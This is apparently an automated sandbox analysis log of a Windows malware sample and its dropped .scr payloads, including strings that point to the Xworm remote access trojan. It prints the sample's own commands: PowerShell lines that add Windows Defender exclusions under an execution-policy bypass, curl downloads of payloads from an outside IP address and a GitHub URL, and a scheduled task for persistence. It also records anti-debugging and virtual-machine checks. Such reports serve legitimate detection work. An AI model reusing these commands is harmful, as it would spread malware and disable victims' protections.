                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeMemory allocated: 45E0000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeMemory allocated: 47D0000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeMemory allocated: 67D0000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeMemory allocated: 6B60000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeMemory allocated: 7B60000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeMemory allocated: 7C90000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeMemory allocated: 8C90000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\gbcd\fff.scrMemory allocated: 4EE0000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\gbcd\fff.scrMemory allocated: 5070000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\gbcd\fff.scrMemory allocated: 7070000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\gbcd\qqq.scrMemory allocated: 4F90000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\gbcd\qqq.scrMemory allocated: 5100000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\gbcd\qqq.scrMemory allocated: 7100000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\gbcd\qqq.scrMemory allocated: 7470000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\gbcd\qqq.scrMemory allocated: 8470000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\gbcd\qqq.scrMemory allocated: 85A0000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\gbcd\qqq.scrMemory allocated: 95A0000 memory reserve | memory write watchJump to behavior
                    Source: C:\Users\Public\winnotify.scrMemory allocated: 49B0000 memory reserve | memory write watch
                    Source: C:\Users\Public\winnotify.scrMemory allocated: 4C40000 memory reserve | memory write watch
                    Source: C:\Users\Public\winnotify.scrMemory allocated: 49B0000 memory reserve | memory write watch
                    Source: C:\Users\Public\winnotify.scrMemory allocated: 6EF0000 memory reserve | memory write watch
                    Source: C:\Users\Public\winnotify.scrMemory allocated: 7EF0000 memory reserve | memory write watch
                    Source: C:\Users\Public\winnotify.scrMemory allocated: 8020000 memory reserve | memory write watch
                    Source: C:\Users\Public\winnotify.scrMemory allocated: 9020000 memory reserve | memory write watch
                    Source: C:\Users\Public\winnotify.scrMemory allocated: 50B0000 memory reserve | memory write watch
                    Source: C:\Users\Public\winnotify.scrMemory allocated: 5110000 memory reserve | memory write watch
                    Source: C:\Users\Public\winnotify.scrMemory allocated: 7110000 memory reserve | memory write watch
                    Source: C:\Users\Public\winnotify.scrMemory allocated: 7510000 memory reserve | memory write watch
                    Source: C:\Users\Public\winnotify.scrMemory allocated: 8510000 memory reserve | memory write watch
                    Source: C:\Users\Public\winnotify.scrMemory allocated: 8640000 memory reserve | memory write watch
                    Source: C:\Users\Public\winnotify.scrMemory allocated: 9640000 memory reserve | memory write watch
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Users\gbcd\fff.scrThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Users\gbcd\qqq.scrThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\Public\winnotify.scrThread delayed: delay time: 922337203685477
                    Source: C:\Users\Public\winnotify.scrThread delayed: delay time: 922337203685477
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeWindow / User API: threadDelayed 7007Jump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeWindow / User API: threadDelayed 596Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7305Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2332Jump to behavior
                    Source: C:\Users\gbcd\fff.scrWindow / User API: threadDelayed 721Jump to behavior
                    Source: C:\Users\gbcd\qqq.scrWindow / User API: threadDelayed 621Jump to behavior
                    Source: C:\Users\gbcd\qqq.scrWindow / User API: threadDelayed 3032Jump to behavior
                    Source: C:\Users\gbcd\qqq.scrWindow / User API: threadDelayed 1764Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7409
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2225
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7751
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1930
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7810
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1910
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8055
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1542
                    Source: C:\Windows\SysWOW64\curl.exeDropped PE file which has not been started: C:\Users\gbcd\srtware.exeJump to dropped file
                    Source: C:\Windows\SysWOW64\curl.exeDropped PE file which has not been started: C:\Users\gbcd\ddd.scrJump to dropped file
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exe TID: 6412Thread sleep time: -7007000s >= -30000sJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exe TID: 7040Thread sleep time: -254000s >= -30000sJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exe TID: 6452Thread sleep time: -596000s >= -30000sJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7380Thread sleep count: 7305 > 30Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7384Thread sleep count: 2332 > 30Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7460Thread sleep time: -5534023222112862s >= -30000sJump to behavior
                    Source: C:\Users\gbcd\fff.scr TID: 8044Thread sleep time: -44000s >= -30000sJump to behavior
                    Source: C:\Users\gbcd\fff.scr TID: 1196Thread sleep time: -30000s >= -30000sJump to behavior
                    Source: C:\Users\gbcd\fff.scr TID: 8124Thread sleep time: -922337203685477s >= -30000sJump to behavior
                    Source: C:\Users\gbcd\qqq.scr TID: 3964Thread sleep count: 621 > 30Jump to behavior
                    Source: C:\Users\gbcd\qqq.scr TID: 3964Thread sleep count: 224 > 30Jump to behavior
                    Source: C:\Users\gbcd\qqq.scr TID: 7004Thread sleep count: 3032 > 30Jump to behavior
                    Source: C:\Users\gbcd\qqq.scr TID: 7004Thread sleep time: -3032000s >= -30000sJump to behavior
                    Source: C:\Users\gbcd\qqq.scr TID: 5812Thread sleep count: 231 > 30Jump to behavior
                    Source: C:\Users\gbcd\qqq.scr TID: 5812Thread sleep time: -231000s >= -30000sJump to behavior
                    Source: C:\Users\gbcd\qqq.scr TID: 4732Thread sleep time: -12912720851596678s >= -30000sJump to behavior
                    Source: C:\Users\gbcd\qqq.scr TID: 6448Thread sleep count: 1764 > 30Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7552Thread sleep time: -4611686018427385s >= -30000s
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2196Thread sleep count: 7751 > 30
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1168Thread sleep count: 1930 > 30
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1624Thread sleep time: -3689348814741908s >= -30000s
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7656Thread sleep count: 7810 > 30
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7656Thread sleep count: 1910 > 30
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3920Thread sleep time: -4611686018427385s >= -30000s
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7724Thread sleep count: 8055 > 30
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6416Thread sleep count: 1542 > 30
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2412Thread sleep time: -4611686018427385s >= -30000s
                    Source: C:\Users\Public\winnotify.scr TID: 7136Thread sleep count: 41 > 30
                    Source: C:\Users\Public\winnotify.scr TID: 7136Thread sleep time: -41000s >= -30000s
                    Source: C:\Users\Public\winnotify.scr TID: 7880Thread sleep time: -922337203685477s >= -30000s
                    Source: C:\Users\Public\winnotify.scr TID: 5700Thread sleep count: 42 > 30
                    Source: C:\Users\Public\winnotify.scr TID: 5700Thread sleep time: -42000s >= -30000s
                    Source: C:\Users\Public\winnotify.scr TID: 4564Thread sleep time: -922337203685477s >= -30000s
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_ComputerSystem
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeLast function: Thread delayed
                    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                    Source: C:\Users\gbcd\qqq.scrFile Volume queried: C:\ FullSizeInformationJump to behavior
                    Source: C:\Users\gbcd\qqq.scrFile Volume queried: C:\ FullSizeInformationJump to behavior
                    Source: C:\Users\Public\winnotify.scrFile Volume queried: C:\ FullSizeInformation
                    Source: C:\Users\Public\winnotify.scrFile Volume queried: C:\ FullSizeInformation
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_00469CD8 lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,0_2_00469CD8
                    Source: C:\Users\gbcd\fff.scrCode function: 23_2_00D33CD8 lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,23_2_00D33CD8
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Users\gbcd\fff.scrThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Users\gbcd\qqq.scrThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\Public\winnotify.scrThread delayed: delay time: 922337203685477
                    Source: C:\Users\Public\winnotify.scrThread delayed: delay time: 922337203685477
                    Source: winnotify.scr, 00000025.00000002.2209647377.00000000004DF000.00000040.00000001.01000000.0000000D.sdmpBinary or memory string: VBoxService.exe
                    Source: fff.scr, fff.scr, 00000017.00000002.1621058744.0000000000BEE000.00000040.00000001.01000000.00000009.sdmpBinary or memory string: ~VirtualMachineTypes
                    Source: curl.exe, 00000010.00000003.1443472856.00000000004D0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000013.00000003.1511604460.00000000030E0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllR
                    Source: curl.exe, 0000000E.00000003.1393930970.0000000002AD0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllS
                    Source: fff.scr, fff.scr, 00000017.00000002.1621058744.0000000000BEE000.00000040.00000001.01000000.00000009.sdmpBinary or memory string: ]DLL_Loader_VirtualMachine
                    Source: winnotify.scr, 00000025.00000002.2209647377.00000000004DF000.00000040.00000001.01000000.0000000D.sdmpBinary or memory string: VMWare
                    Source: fff.scr, 00000017.00000002.1621058744.0000000000BEE000.00000040.00000001.01000000.00000009.sdmpBinary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
                    Source: curl.exe, 00000015.00000003.1543419156.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1624539408.0000000001313000.00000004.00000020.00020000.00000000.sdmp, qqq.scr, 00000018.00000002.3724080428.000000000A574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior

                    Anti Debugging

                    barindex
                    Hides threads from debuggers
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeThread information set: HideFromDebuggerJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeThread information set: HideFromDebuggerJump to behavior
                    Source: C:\Users\gbcd\fff.scrThread information set: HideFromDebuggerJump to behavior
                    Source: C:\Users\gbcd\qqq.scrThread information set: HideFromDebuggerJump to behavior
                    Source: C:\Users\gbcd\qqq.scrThread information set: HideFromDebuggerJump to behavior
                    Source: C:\Users\Public\winnotify.scrThread information set: HideFromDebugger
                    Source: C:\Users\Public\winnotify.scrThread information set: HideFromDebugger
                    Source: C:\Users\Public\winnotify.scrThread information set: HideFromDebugger
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                    Source: C:\Users\gbcd\fff.scrProcess token adjusted: DebugJump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess token adjusted: DebugJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeMemory allocated: page read and write | page guardJump to behavior

                    HIPS / PFW / Operating System Protection Evasion

                    barindex
                    Adds a directory exclusion to Windows Defender
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\gbcd\qqq.scr'
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\winnotify.scr'
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"Jump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\gbcd\qqq.scr'Jump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\winnotify.scr'Jump to behavior
                    Bypasses PowerShell execution policy
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"Jump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c mkdir C:\Users\gbcdJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\curl.exe "curl.exe" -s http://79.110.49.246/didedba/abc -o C:\Users\gbcd\fff.scrJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\curl.exe "curl.exe" -s http://79.110.49.246/didedba/dddv -o C:\Users\gbcd\qqq.scrJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\curl.exe "curl.exe" -s http://79.110.49.246/didedba/write -o C:\Users\gbcd\ddd.scrJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\curl.exe "curl.exe" -s https://raw.githubusercontent.com/huuuuggga/aaaaa1/refs/heads/main/srtware.exe -o C:\Users\gbcd\srtware.exeJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Users\gbcd\fff.scr "C:\Users\gbcd\fff.scr"Jump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Users\gbcd\qqq.scr "C:\Users\gbcd\qqq.scr"Jump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\gbcd\qqq.scr'Jump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'qqq.scr'Jump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\winnotify.scr'Jump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'winnotify.scr'Jump to behavior
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winnotify" /tr "C:\Users\Public\winnotify.scr"Jump to behavior
                    Source: qqq.scr, 00000018.00000002.3715480219.00000000051A6000.00000004.00000800.00020000.00000000.sdmp, qqq.scr, 00000018.00000002.3715480219.000000000516C000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: q'PING!<Xwormmm>Program Manager<Xwormmm>0
                    Source: qqq.scr, 00000018.00000002.3715480219.00000000051A6000.00000004.00000800.00020000.00000000.sdmp, qqq.scr, 00000018.00000002.3715480219.000000000516C000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: q'PING!<Xwormmm>Program Manager<Xwormmm>0Te
                    Source: qqq.scr, 00000018.00000002.3715480219.0000000005101000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program Manager
                    Source: qqq.scr, 00000018.00000002.3715480219.000000000516C000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerD
                    Source: qqq.scr, 00000018.00000002.3715480219.00000000051A6000.00000004.00000800.00020000.00000000.sdmp, qqq.scr, 00000018.00000002.3715480219.000000000516C000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: PING!<Xwormmm>Program Manager<Xwormmm>0
                    Source: qqq.scr, 00000018.00000002.3715480219.00000000051A6000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerT
                    Source: qqq.scr, 00000018.00000002.3715480219.00000000051A6000.00000004.00000800.00020000.00000000.sdmp, qqq.scr, 00000018.00000002.3715480219.000000000516C000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program Managert-
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,lstrcpyn,lstrcpyn,0_2_00469E90
                    Source: C:\Users\gbcd\fff.scrCode function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,lstrcpyn,lstrcpyn,23_2_00D33E90
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeQueries volume information: C:\Users\user\Desktop\ZOL2mIYAUH.exe VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
